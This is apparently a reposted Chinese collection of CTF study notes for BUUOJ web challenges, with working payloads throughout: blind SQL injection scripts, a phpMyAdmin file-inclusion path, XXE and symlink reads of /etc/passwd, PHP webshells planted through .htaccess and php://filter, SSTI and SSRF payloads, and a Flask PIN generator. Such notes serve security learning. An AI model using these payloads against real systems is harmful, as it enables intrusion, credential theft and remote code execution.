本文共 17074 字,大约阅读时间需要 56 分钟。
知识点:
a=b&c=dforeach($_POST as $x => $y){ echo $x; echo "</br>"; echo $y; echo "</br>";}将输出 a b c d
修改时间戳
多留意cookie
知识点:
phpmyadmin漏洞
影响版本:4.8.0——4.8.1
payload:/phpmyadmin/?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/etc/passwd
import requestsurl='http://d491201c-e8b8-483e-b1ad-12d0f3830527.node3.buuoj.cn/check.php'flag=''for i in range(1,150): print(i) for j in range(38,128): payload="||if(ascii(substr(password,"+str(i)+",1))>"+str(j)+",1,sleep(3))#" data={ 'username':'\\', 'password':payload } try: requests.post(url,data=data,timeout=(2.5,2.5)) except: flag+=chr(j) print(flag) break
知识点:
php模板注入 { {system(‘ls’)}}
_SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]="";s:8:"function";s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
知识点:
reg_replace() /e模式漏洞
\S*=${phpinfo()}
知识点:
多次转义出现漏洞
$id=addslashes($id);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);$result=mysqli_query($con,"select * from images where id='{ $id}' or path='{ $path}'");
短标签: (php.ini开启short_open_tag = On)<? ?> <?= ?>
知识点:
ctfd漏洞
利用添加空格绕过限制来注册一个与受害者用户名相同的账号
生成忘记密码链接发送到自己的邮箱
将自己的账号的用户名改成与被攻击者不相同的用户名
用邮箱中收到的链接更改密码即可。
知识点:
case 1 when 1 then sleep(3) else 0 end代替 if
<script src=''>alert(document.cookie)</script>
import requestsurl='http://039fe22e-9b61-4b6c-8bd5-399ad752b4a5.node3.buuoj.cn/'flag=''element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']for i in element: r=requests.get(url+i+'.php') if r.status_code == 200: flag+=r.text print (flag)
知识点:
1 异或绕过正则表达式
2 上传.htaccess
.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。
php是7.2的版本,无法使用
来绕过对<?的检测
可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass
我们这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:
这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则
内容
#define width 1337#define height 1337AddType application/x-httpd-php .abcphp_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"GIF89a12PD9waHAgZXZhbCgkX1BPU1RbImMiXSk7Pz4= 密码c
3 禁用命令绕过
(SSI注入的条件:
1.Web 服务器已支持SSI(服务器端包含)
2.Web 应用程序未对对相关SSI关键字做过滤
3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)
<!--#exec cmd="命令"-->
同63
assert(eval($_POST[1]))(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);```?code=${ %fe%fe%fe%fe^%a1%b9%bb%aa}[_](${ %fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
上传e.php到可用目录
然后include
知识点:
1
url中?可以注释掉后面的内容
例如 127.0.0.1/1.php?asdqwedawawd
2
sprintf()函数漏洞
format(%s - 字符串,%c - ASCII 值对应的字符,%d - 包含正负号的十进制数(负数、0、正数))
%1$c 表示第一个占位符为ascii格式
当有些条件无法满足时,尝试为null
git恢复
1
git log --reflog
git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03(就是第一个红线所指)
2
git stash list | tee
git stash pop # 或者使用 git stash apply
找不到文件
打开.bash_history 或者 命令 history
./php_mt_seed 33 33 0 61 42 42 0 61 32 32 0 61 35 35 0 61 50 50 0 61 54 54 0 61 1 1 0 61 24 24 0 61 39 39 0 61 24 24 0 61
找出随机数的前几个 加上 0-范围
{ {_self.env.registerUndefinedFilterCallback("exec")}}{ {_self.env.getFilter("id")}}
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件, 所以先请求
/?url=file:bash -c /readflag|&filename=bash -c /readflag| 创建相应的同名文件
/?url=file:bash -c /readflag|&filename=123 利用open的feature执行代码
最后直接访问/sandbox/哈希值/123就能得到flag
这里先引入一个知识点;文件描述符,在linux里,当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况;;pid就是进程记录的打开文件的序号;
cat /proc/*/fd/*
1
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')
用%0a绕过
2
if (file_get_contents($file) !== 'debu_debu_aqua')
用 php://input 或者data://text/plain,xxx
3
request的顺序:GET<POST
foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
因此对于需要GET的一些参数,比如zuishuai,只需要同时POST一个数字即可绕过
4
create_function($a,$b);转换下为function($a){ $b;}$b=}system('ls');//
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><username>&xxe;</username></user>
任何地方都有可能是注入点,多去尝试
bin码生成
* 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb* 2. modname 一般不变就是flask.app* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变* 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3.7/site-packages/flask/app.py* 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:* 6.最后一个就是机器的id。对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup
pin码生成
import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb',# username 'flask.app', 'Flask', '/usr/local/lib/python3.7/site-packages/flask/app.py' ]private_bits = [ '2485410337047',# address '0e8d403fd78af15e7562120ee48010dfbe557250ea8e4deb84c2979e3df15765'# machine-id]h = hashlib.md5()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = numprint(rv)
不会
数组绕过 md5
123456==‘123456a’
pass
pass
php://filter/read=convert.base64-encode/aaa
/resource=index.php
XFF
仔细读题
知识点:
1 $_SERVER[‘QUERY_STRING’] 不会url解码
2 url不区分大小写
3 preg_match('/^23333$/', $_GET['b_u_p_t']
%0绕过
4 获取ip
X-Forwarded-For
X-Real-IP
client-ip
5 file_get_content()绕过 data伪协议 input 伪协议
知识点:
1
php 5.5版本 intval(‘1999e2’)=1999 inval(‘1999e2’+1)=199901
php 7版本 intval(‘1999e2’)=199900 intal(‘1999e2’+1)=199901
2
md5(‘0e215962017’)=0e291242476940776845150308577824
3
strstr(‘12 3’,’ ')=3
4
str_ireplace: 把Hello world!中的world替换成 上海
echo str_ireplace(“WORLD”,“Shanghai”,“Hello world!”);
知识点:
如果表中只有一列可以
SUBSTR((SELECT * FROM table),1,1)='x'
如果多列的话可以
select (select 'f',1)>(select * from flag)
select b from (select 1,2 as b union select * from flag)a;
如果区分大小写
使用0x即可
字符集
-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~
1)phar文件要能够上传至服务器
2)要有可用的魔术方法为跳板
3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
array_push(array,“red”): 向数组中添加字符
php 魔法方法:
public __call ( string $name , array $arguments )$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。public __toString ( void ) : string一个类被当成字符串时应怎样回应__invoke ([ $... ] ) : mixed当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。public __set ( string $name , mixed $value ) : void在给不可访问属性赋值时,__set() 会被调用。参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。public __get ( string $name ) : mixed读取不可访问属性的值时,__get() 会被调用。public __sleep ( void ) : arrayserialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。__wakeup ( void ) : void与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法public static function __set_state($an_array)当调用 var_export() 导出类时,此静态 方法会被调用。__clone ( void ) : void当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值(如果有必要的话)。public function __debugInfo()该方法在var_dump()类对象的时候被调用,如果没有定义该方法,则var_dump会打印出所有的类属性
Phar生成
$phar = new Phar("phar.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头$phar->setMetadata($a); //将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件$phar->stopBuffering();
select username from users where u = ‘1’ union select * from ( (select user())a JOIN (select version())b)
知识点:
$_SERVER['PHP_SELF'] 当前执行脚本的文件名
basename("/testweb/home.php");// home.php$_SERVER['PHP_SELF']; // /a.php
pass
知识点
mt_srand()撒种
mt_rand()
每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数
pass
知识点
php://input <data> <?php phpinfo();
zip伪协议的利用
file=zip://"zip文件绝对路径"%23shell.php
知识点:
assert可以命令执行
assert("eval($_POST[1];)");
尝试去 phpinfo中寻找flag
知识点
xpath
import reimport requestssess = requests.session()strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'headers = { 'Content-Type':'application/xml'}param='<input type="hidden" id="token" value="(.*?)" />'flag=''for i in range(1,50): print(i) for s in strs: url='http://7fba2393-bbef-42b1-844b-ae14f68f1a15.node3.buuoj.cn/login.php'#注意加login.php token=re.findall(param,sess.get(url).text)[0] #print(token) #data="<username>' or substring(name(/*[1]),{0}, 1)='{1}' or '1</username><password>123</password><token>{2}</token>".format(i,s,token) #data="<username>' or substring(name(/root/*[1]),{0}, 1)='{1}' or '1</username><password>123</password><token>{2}</token>".format(i,s,token) data="<username>' or substring(/root/accounts/user[2]/password/root(),{0}, 1)='{1}' or '1</username><password>123</password><token>{2}</token>".format(i,s,token) res=sess.post(url,headers=headers,data=data) #print(res.text) if "非法操作" in res.text: flag+=s print(flag) break
伪协议不区分大小写 php://filter/convert.base64-encode/resoucre=flag.php
知识点:
这⾥可以⽤php7 segment fault特性
php://filter/string.strip_tags=/etc/passwd
php执⾏过程中出现 Segment Fault,这样如果在此同时上传⽂件,那么临时⽂件就会被保存
在/tmp⽬录,不会被删除
md5($secret.$name)===$pass
绕过
使用 hashpump工具
hashpump -s de73312423b835b22bfdc3c6da7b63e9 -d admin -
k 10 -a admin
其中 de73312423b835b22bfdc3c6da7b63e9为md5($secret.'admin')
题目源码
<?php include "config.php";error_reporting(0);highlight_file(__FILE__); $check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";if(preg_match($check_list, $_POST['username'])){ die('<h1>Hacking first,then login!Username is very special.</h1>'); }if(preg_match($check_list, $_POST['passwd'])){ die('<h1>Hacking first,then login!No easy password.</h1>');}$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'"; $result = mysql_query($query);$result = mysql_fetch_array($result);$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));if($result['user']){ echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>"; }if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){ $url = $_SERVER["HTTP_REFERER"]; $parts = parse_url($url); if(empty($parts['host']) || $parts['host'] != 'localhost'){ die('<h1>The website only can come from localhost!You are not admin!</h1>'); } else{ readfile($url); }}?>
知识点:
有些数据库%00是注释符
data={ 'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{0}";{1}'.format(w,key) }
利用正则表达式盲注密码
Microsoft Access支持“null”和“%00”注释;Microsoft SQL Server支持“--”和“;”注释;MySQL支持“/*”注释;Oracle支持“--”注释;
readfile(“file://localhost/etc/passwd”)可以读文件
<?phpini_set('display_errors', 1);error_reporting(E_ALL);class B { function __destruct() { echo $flag; }}if (isset($_POST['payload'])) { ob_start(); $a = unserialize($_POST['payload']); /*if ($a === False) { ob_end_clean(); } */ throw new Exception('Something tragic happened');}?>a:2:{ i:0;O:1:"B":0:{ }i:0;i:1;}
如果传入一个序列化的数组,并且这个数组中存在两个或多个key相等的变量,那么反序列化的时侯将删除首先输入的变量。因此,如果将类 B 对象作为value冗余,则将调用析构函数,而不会导致反序列化错误,即先解析 O:1:“B”:0:{} 生成一个对象,然后在向后解析又遇到 i:0 于是将前一个 i:0 的值改为1,就相当于消灭了之前生成的对象于是触发__destruct函数,之后也是冗余的关系使得反序列化的结果返回的是 array(0=>1) ,不为False,于是不会进入到ob_end_clean(),最后输出flag
这题如果直接传入
O:1:“B”:0:{}
是不会输出flag,因为虽然这样反序列化得到的a是一个对象不等于False,但是之后会通过throw new 抛出一个错误,它这里的抛出错误就类似于下了一个断点一样,使得脚本程序的运行停止在了这里,并没有结束,所以反序列化后的B对象仍然存在,不会触发__destruct
源码
<?php$exit="<?php exit; //I just want you to understand the principle ?>";@$exit.=$_POST['death'];@$filename = $_POST['filename'];if(!isset($filename)){ @file_put_contents($filename, "you should set something");}else{ @file_put_contents($filename,$exit);}?>
知识点:
绕过死亡exit
我们观察一下,这个<?php exit; ?>实际上是什么?
实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
payload:
death=<?cuc riny($_CBFG[1]);?>&filename=php://filter/write=string.rot13/resource=shell.php
death=PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==&filename=php://filter/write=string.strip_tags/convert.base64-decode/resource=shell.php
death=aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==&filename=php://filter/write=convert.base64-decode/resource=shell.php
知识点:php(smarty)模板注入
{if system("ls")}{/if}
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);.
1.传入的参数是:172.17.0.2’ -v -d a=1
2.经过escapeshellarg处理后变成了’172.17.0.2’’’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成’172.17.0.2’\’’ -v -d a=1’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义。
一些细节的错误会导致无法访问,例如:
1.后面没有加引号
?host=’ <?php @eval($_POST["hack"]);?> -oG hack.php
输出:’’\’’ <?php phpinfo();?> -oG test.php’
返回结果是文件名后面会多一个引号
2.加引号但引号前没有空格
?host=’ <?php @eval($_POST["hack"]);?> -oG hack.php’
输出:’’\’’ <?php phpinfo();?> -oG test.php’\’’’
文件名后面就会多出\
SoapClient
是一个php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求。该类的构造函数如下:
session_start([‘serialize_handler’=>‘php_serialize’])
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
poc
<?php$target = "http://127.0.0.1/flag.php";$attack = new SoapClient(null,array('location' => $target, 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n", 'uri' => "123"));$payload = urlencode(serialize($attack));echo $payload; ?>
最后加|
php 键名 + 竖线 + 经过serialize()函数反序列化处理的值
php_binary 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数反序列处理的数组
知识点
session伪造
python3 flask_session_cookie_manager3.py decode -c '.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.XtOUAA.KlkgEF4cwRcBmghj563W_9rlnQs ' -s 'keyqqqwwweee!@#$%^&*'
ln -s是Linux的一种软连接,类似与windows的快捷方式
ln -s /etc/passwd forever404 这会出现一个forever404文本,里面包含密码
/proc/self 记录了系统运行的信息状态等,cwd 指向当前进程运行目录的一个符号链接,即flask运行进程目录
ln -s /proc/self/cwd/flag/flag.jpg qwe
zip -ry qwe.zip qwe
知识点 thinkphp6 任意文件操作漏洞
session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位)
然后再search搜索的内容会直接保存在/runtime/session/目录下,getshell
/runtime/session/sess_1234567890123456789012345678.php
知识点:
堆叠注入
set @a=0x********;prepare test from @a;execute test;
从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。
转载地址:http://nkawz.baihongyu.com/